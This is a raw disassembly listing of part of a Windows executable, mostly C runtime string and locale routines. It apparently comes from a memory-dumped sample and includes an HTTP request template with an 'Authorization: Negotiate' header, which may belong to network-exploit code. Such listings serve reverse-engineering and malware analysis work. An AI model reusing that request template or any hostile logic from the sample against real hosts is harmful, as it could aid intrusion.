sub_422A4C proc near ; CODE XREF: sub_417EFC+23p
; sub_4181A0+13p
jmp near ptr 2800923h
sub_422A4C endp
; ---------------------------------------------------------------------------
db 0EBh
; =============== S U B R O U T I N E =======================================
sub_422A52 proc near ; CODE XREF: sub_409392+E2p
; sub_409392+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4CDA48, 0
push ebx
jnz short loc_422A98
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_422A64: ; CODE XREF: sub_422A52+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_422A76
cmp bx, 41h
jb short loc_422A76
add ebx, 20h
loc_422A76: ; CODE XREF: sub_422A52+19j
; sub_422A52+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_422A88
cmp ax, 41h
jb short loc_422A88
add eax, 20h
loc_422A88: ; CODE XREF: sub_422A52+2Bj
; sub_422A52+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_422AC8
cmp bx, ax
jz short loc_422A64
jmp short loc_422AC8
; ---------------------------------------------------------------------------
loc_422A98: ; CODE XREF: sub_422A52+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_422AA2: ; CODE XREF: sub_422A52+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_422C03
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_422C03
pop ecx
test bx, bx
pop ecx
jz short loc_422AC6
cmp bx, ax
jz short loc_422AA2
loc_422AC6: ; CODE XREF: sub_422A52+6Dj
pop edi
pop esi
loc_422AC8: ; CODE XREF: sub_422A52+3Dj
; sub_422A52+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_422A52 endp
; =============== S U B R O U T I N E =======================================
sub_422AD2 proc near ; CODE XREF: ___:00422AEAp
mov dword ptr [ecx], offset off_424D00
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_422AE6
push ecx
call sub_417C3B
pop ecx
locret_422AE6: ; CODE XREF: sub_422AD2+Bj
retn
sub_422AD2 endp
; ---------------------------------------------------------------------------
loc_422AE7: ; DATA XREF: ___:off_424D00o
push esi
mov esi, ecx
call sub_422AD2
test byte ptr [esp+8], 1
jz short loc_422AFD
push esi
call sub_4182AF
pop ecx
loc_422AFD: ; CODE XREF: ___:00422AF4j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_422B03: ; DATA XREF: ___:off_424D08o
push esi
mov esi, ecx
call sub_422BA6
test byte ptr [esp+8], 1
jz short loc_422B19
push esi
call sub_4182AF
pop ecx
loc_422B19: ; CODE XREF: ___:00422B10j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_422B1F proc near ; CODE XREF: sub_4227EE+1Dp
; sub_4228C0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_424D08
push dword ptr [edi]
call sub_417AB0
inc eax
push eax
call sub_4185F5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_422B4E
push dword ptr [edi]
push eax
call sub_4179C0
pop ecx
pop ecx
loc_422B4E: ; CODE XREF: sub_422B1F+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_422B1F endp
; =============== S U B R O U T I N E =======================================
sub_422B5C proc near ; CODE XREF: sub_422908+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_424D08
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_422B99
push dword ptr [edi+4]
call sub_417AB0
inc eax
push eax
call sub_4185F5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_422B9F
push dword ptr [edi+4]
push eax
call sub_4179C0
pop ecx
pop ecx
jmp short loc_422B9F
; ---------------------------------------------------------------------------
loc_422B99: ; CODE XREF: sub_422B5C+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_422B9F: ; CODE XREF: sub_422B5C+2Ej
; sub_422B5C+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_422B5C endp
; =============== S U B R O U T I N E =======================================
sub_422BA6 proc near ; CODE XREF: sub_4227AA+16j
; ___:00422B06p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_424D08
jz short locret_422BBB
push dword ptr [ecx+4]
call sub_4182AF
pop ecx
locret_422BBB: ; CODE XREF: sub_422BA6+Aj
retn
sub_422BA6 endp
; =============== S U B R O U T I N E =======================================
sub_422BBC proc near ; DATA XREF: ___:00424D0Co
mov eax, [ecx+4]
test eax, eax
jnz short locret_422BC8
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_422BC8: ; CODE XREF: sub_422BBC+5j
retn
sub_422BBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422BC9 proc near ; CODE XREF: sub_422863+37p
; sub_42298A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_424D28
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
nop
call near ptr 2870000h
pop edi
pop esi
leave
retn 8
sub_422BC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422C03 proc near ; CODE XREF: sub_422A52+56p
; sub_422A52+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_422C15
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_422C15: ; CODE XREF: sub_422C03+Bj
cmp dword_4CDA48, 0
jnz short loc_422C2F
cmp ax, 41h
jb short locret_422C76
cmp ax, 5Ah
ja short locret_422C76
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_422C2F: ; CODE XREF: sub_422C03+19j
cmp ax, 100h
jnb short loc_422C49
push 1
push eax
call sub_422EB1
pop ecx
test eax, eax
pop ecx
jnz short loc_422C49
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_422C49: ; CODE XREF: sub_422C03+30j
; sub_422C03+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4CDA48
call sub_422C78
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_422C76
mov ax, [ebp+var_2]
locret_422C76: ; CODE XREF: sub_422C03+1Fj
; sub_422C03+25j ...
leave
retn
sub_422C03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422C78 proc near ; CODE XREF: sub_422C03+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424D48
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4CDCA4, esi
jnz short loc_422CEE
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_4248D8
mov edi, 100h
push edi
push esi
nop
call near ptr 2890000h
test eax, eax
jz short loc_422CCC
mov dword_4CDCA4, ebx
jmp short loc_422CEE
; ---------------------------------------------------------------------------
loc_422CCC: ; CODE XREF: sub_422C78+4Aj
push esi
push esi
push ebx
push offset dword_436EF4
push edi
push esi
nop
call near ptr 2880000h
test eax, eax
jz loc_422E6D
mov dword_4CDCA4, 2
loc_422CEE: ; CODE XREF: sub_422C78+2Ej
; sub_422C78+52j
cmp [ebp+arg_C], esi
jle short loc_422D03
push [ebp+arg_C]
push [ebp+arg_8]
call sub_422E81
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_422D03: ; CODE XREF: sub_422C78+79j
mov eax, dword_4CDCA4
cmp eax, 1
jnz short loc_422D2A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2890000h
jmp loc_422E6F
; ---------------------------------------------------------------------------
loc_422D2A: ; CODE XREF: sub_422C78+93j
cmp eax, 2
jnz loc_422E6D
cmp [ebp+arg_18], esi
jnz short loc_422D40
mov eax, dword_4CDA58
mov [ebp+arg_18], eax
loc_422D40: ; CODE XREF: sub_422C78+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 27D0000h
mov [ebp+var_20], eax
cmp eax, esi
jz loc_422E6D
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_422D86
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_422D86: ; CODE XREF: sub_422C78+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_422E6D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 27D0000h
test eax, eax
jz loc_422E6D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2880000h
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_422E6D
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422E09
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_422E09: ; CODE XREF: sub_422C78+17Dj
cmp ebx, esi
jz short loc_422E6D
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2880000h
nop
test eax, eax
jz short loc_422E6D
test byte ptr [ebp+arg_4+1], 4
jz short loc_422E47
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_422E69
cmp eax, edi
jl short loc_422E38
mov eax, edi
loc_422E38: ; CODE XREF: sub_422C78+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_418C10
add esp, 0Ch
jmp short loc_422E69
; ---------------------------------------------------------------------------
loc_422E47: ; CODE XREF: sub_422C78+1B1j
cmp [ebp+arg_14], esi
jnz short loc_422E50
push esi
push esi
jmp short loc_422E56
; ---------------------------------------------------------------------------
loc_422E50: ; CODE XREF: sub_422C78+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_422E56: ; CODE XREF: sub_422C78+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call near ptr 2630000h
nop
mov edi, eax
cmp edi, esi
jz short loc_422E6D
loc_422E69: ; CODE XREF: sub_422C78+1B8j
; sub_422C78+1CDj
mov eax, edi
jmp short loc_422E6F
; ---------------------------------------------------------------------------
loc_422E6D: ; CODE XREF: sub_422C78+66j
; sub_422C78+B5j ...
xor eax, eax
loc_422E6F: ; CODE XREF: sub_422C78+ADj
; sub_422C78+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422C78 endp
; =============== S U B R O U T I N E =======================================
sub_422E81 proc near ; CODE XREF: sub_422C78+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_422EA0
loc_422E91: ; CODE XREF: sub_422E81+1Dj
cmp word ptr [eax], 0
jz short loc_422EA0
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_422E91
loc_422EA0: ; CODE XREF: sub_422E81+Ej
; sub_422E81+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_422EAE
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_422EAE: ; CODE XREF: sub_422E81+24j
mov eax, edx
retn
sub_422E81 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422EB1 proc near ; CODE XREF: sub_422C03+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_422EF1
cmp [ebp+arg_0], 100h
jnb short loc_422ED5
movzx eax, [ebp+arg_0]
mov ecx, off_433C74
mov ax, [ecx+eax*2]
jmp short loc_422EF8
; ---------------------------------------------------------------------------
loc_422ED5: ; CODE XREF: sub_422EB1+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_422F03
add esp, 18h
test eax, eax
jnz short loc_422EF5
loc_422EF1: ; CODE XREF: sub_422EB1+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_422EF5: ; CODE XREF: sub_422EB1+3Ej
mov eax, [ebp+var_4]
loc_422EF8: ; CODE XREF: sub_422EB1+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_422EB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F03 proc near ; CODE XREF: sub_422EB1+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424D60
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4CDCA8
xor edi, edi
cmp eax, edi
jnz short loc_422F72
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_4248D8
push esi
nop
call near ptr 25F0000h
test eax, eax
jz short loc_422F50
mov eax, esi
jmp short loc_422F6D
; ---------------------------------------------------------------------------
loc_422F50: ; CODE XREF: sub_422F03+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_436EF4
push esi
push edi
nop
call near ptr 25F090Ah
test eax, eax
jz loc_4230B4
push 2
pop eax
loc_422F6D: ; CODE XREF: sub_422F03+4Bj
mov dword_4CDCA8, eax
loc_422F72: ; CODE XREF: sub_422F03+2Fj
cmp eax, 1
jnz short loc_422F8E
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 25F0000h
nop
jmp loc_4230B6
; ---------------------------------------------------------------------------
loc_422F8E: ; CODE XREF: sub_422F03+72j
cmp eax, 2
jnz loc_4230B4
cmp [ebp+arg_10], edi
jnz short loc_422FA4
mov eax, dword_4CDA58
mov [ebp+arg_10], eax
loc_422FA4: ; CODE XREF: sub_422F03+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call near ptr 27D0000h
nop
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_4230B4
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_417330
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_423002
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_423002: ; CODE XREF: sub_422F03+EAj
cmp [ebp+var_2C], edi
jz loc_4230B4
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call near ptr 27D0000h
nop
test eax, eax
jz loc_4230B4
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_423057
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_423057: ; CODE XREF: sub_422F03+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_4230B4
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_42306B
mov eax, dword_4CDA48
loc_42306B: ; CODE XREF: sub_422F03+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
nop
call near ptr 25F090Ah
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_4230B4
cmp word ptr [esi], 0FFFFh
jnz short loc_4230B4
push edi
push ebx
push [ebp+arg_C]
call sub_4182C0
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_4230B6
; ---------------------------------------------------------------------------
loc_4230B4: ; CODE XREF: sub_422F03+61j
; sub_422F03+8Ej ...
xor eax, eax
loc_4230B6: ; CODE XREF: sub_422F03+86j
; sub_422F03+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422F03 endp
; =============== S U B R O U T I N E =======================================
sub_4230C8 proc near ; DATA XREF: ___:00424F14o
; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40445C
sub_4230C8 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_4230E6
mov ecx, [ebp+8]
jmp loc_40445C
; ---------------------------------------------------------------------------
locret_4230E6: ; CODE XREF: ___:004230D8j
retn
; ---------------------------------------------------------------------------
loc_4230E7: ; DATA XREF: sub_404032o
mov eax, offset dword_424EE8
jmp loc_417F4B
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40445C
; ---------------------------------------------------------------------------
loc_4230FC: ; DATA XREF: ___:00424F44o
lea ecx, [ebp-1Ch]
jmp loc_40445C
; ---------------------------------------------------------------------------
loc_423104: ; DATA XREF: sub_4041D4o
mov eax, offset dword_424F18
jmp loc_417F4B
; ---------------------------------------------------------------------------
align 10h
loc_423110: ; DATA XREF: sub_40473Fo
mov eax, offset dword_424F48
jmp loc_417F4B
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_422BA6
; ---------------------------------------------------------------------------
loc_423122: ; DATA XREF: sub_4227EEo
mov eax, offset dword_424FA8
jmp loc_417F4B
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40445C
; ---------------------------------------------------------------------------
loc_423134: ; DATA XREF: sub_422863o
mov eax, offset dword_425040
jmp loc_417F4B
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_422BA6
; ---------------------------------------------------------------------------
loc_423146: ; DATA XREF: sub_4228C0o
mov eax, offset dword_425064
jmp loc_417F4B
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_422BA6
; ---------------------------------------------------------------------------
loc_423158: ; DATA XREF: sub_422908o
mov eax, offset dword_425088
jmp loc_417F4B
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40445C
; ---------------------------------------------------------------------------
loc_42316A: ; DATA XREF: sub_42298Ao
mov eax, offset dword_4250E8
jmp loc_417F4B
; ---------------------------------------------------------------------------
dd 3A3h dup(0)
dd 25B0000h, 25B01B6h, 25C0000h, 25C061Bh, 25D0000h, 25D0AC3h
dd 25D0AF6h, 25E0000h, 25E009Dh, 25E054Dh, 25F0000h, 25F090Ah
dd 2600000h, 260078Ah, 2600979h
dword_42403C dd 26009F4h ; DATA XREF: ___:0041F496r
dd 2600A97h, 2600D1Ch, 2600D4Ch, 2610000h, 26102E7h, 261031Eh
dword_424058 dd 261077Ch ; DATA XREF: sub_40144A+1A6r
; sub_401D82+3Dr ...
dd 2610805h, 2610B34h
dword_424064 dd 2610E88h ; DATA XREF: sub_40797F+D1r
; sub_40D3A5+29r
dd 2620000h, 26204C6h
dword_424070 dd 2630000h ; DATA XREF: sub_40DC82+Fr
; sub_4199B9+54r ...
dword_424074 dd 2640000h ; DATA XREF: sub_4168E9+Br
dword_424078 dd 26408F3h ; DATA XREF: ___:00404E30r
; sub_40AB7C+67r ...
dd 2650000h, 2660000h
dword_424084 dd 2660829h ; DATA XREF: sub_40AB7C+36r
dd 2660A8Fh
dword_42408C dd 2660B07h ; DATA XREF: sub_4168E9:loc_41697Ar
dd 2660B30h, 2670000h, 2680000h, 2690000h
dword_4240A0 dd 2690C63h ; DATA XREF: sub_4165C6+32r
dd 26A0000h, 26A02F4h, 26A03DDh, 26B0000h, 26B0621h, 26C0000h
dword_4240BC dd 26D0000h ; DATA XREF: sub_408EE5+26r
dd 26D108Eh, 77F7E300h, 77F7E21Fh, 26D1C29h, 26E0000h
dd 26E06B3h
dword_4240D8 dd 26E0986h ; DATA XREF: sub_409037+BCr
dword_4240DC dd 26F0000h ; DATA XREF: sub_409037+60r
; sub_40981F+11r ...
dword_4240E0 dd 26F072Bh ; DATA XREF: sub_40981F:loc_409D0Fr
dd 2700000h
dword_4240E8 dd 2710000h ; DATA XREF: sub_409209+21r
; sub_409392+4Ar
dword_4240EC dd 2710ADFh ; DATA XREF: sub_409209+10r
; sub_409392+40r ...
dd 2710B2Dh
dword_4240F4 dd 2720000h ; DATA XREF: sub_409392+56r
dd 2720226h, 2720807h
dword_424100 dd 2720E52h ; DATA XREF: sub_40981F+2r
dd 2730000h, 2740000h, 274079Dh, 2750000h, 275036Eh, 2760000h
dd 27606BAh, 2760BE6h, 2770000h, 2780000h, 27800B9h, 2790000h
dd 2790474h, 27A0000h
dword_42413C dd 27A06F1h ; DATA XREF: sub_40B56C+79r
; sub_416810+3Ar
dword_424140 dd 27B0000h ; DATA XREF: sub_40B56C+3Br
; sub_416717+23r
dd 27B15DCh, 27C0000h, 77E75CB5h
dword_424150 dd 27D0000h ; DATA XREF: sub_40DBB0+13r
; ___:0041F50Br ...
dd 27E0000h, 27E0CC0h, 27E0DDBh
dword_424160 dd 27F0000h ; DATA XREF: ___:loc_40E864r
dd 27F0318h
dword_424168 dd 27F091Fh ; DATA XREF: sub_4165C6:loc_4166B2r
dd 27F0A69h, 27F0B48h, 27F0C5Fh, 2800000h, 28004FEh, 2800763h
dd 2800846h, 2800923h, 2810000h, 2820000h, 2830000h, 2840000h
dd 2841B5Ch, 2841B6Eh, 2850000h, 2860000h, 2860143h
dword_4241B0 dd 2860694h ; DATA XREF: sub_41ADB4+240r
dword_4241B4 dd 28607A2h ; DATA XREF: sub_41B888:loc_41B8B9r
dd 2860A12h, 2870000h, 287059Bh, 2880000h, 2890000h, 28911DFh
dd 2891891h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 0B2h, 71h
align 10h
dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh
dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h
dword_424204 dd 71AB5690h ; DATA XREF: sub_404F9A+6Ar
dword_424208 dd 71AB1AF4h ; DATA XREF: sub_4053D5+E4r
db 90h
db 18h, 0ABh, 71h
dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh
dd 71AB1746h, 2 dup(0)
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_424270 dq 1.388888888888889e-2 ; DATA XREF: sub_403FE6+2Fr
dbl_424278 dq 1.666666666666667e-1 ; DATA XREF: sub_403FE6+15r
dword_424280 dd 0FFFFFFFFh ; DATA XREF: sub_404032+16Fr
; sub_404464r ...
align 8
dbl_424288 dq 1.333333333333333 ; DATA XREF: sub_404032+79r
dword_424290 dd 0 ; DATA XREF: sub_4041D4+4Do
; sub_404514+5Bo ...
flt_424294 dd 5.0e-1 ; DATA XREF: ___:00404CE7r
dword_424298 dd 0 ; DATA XREF: sub_40C21E+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
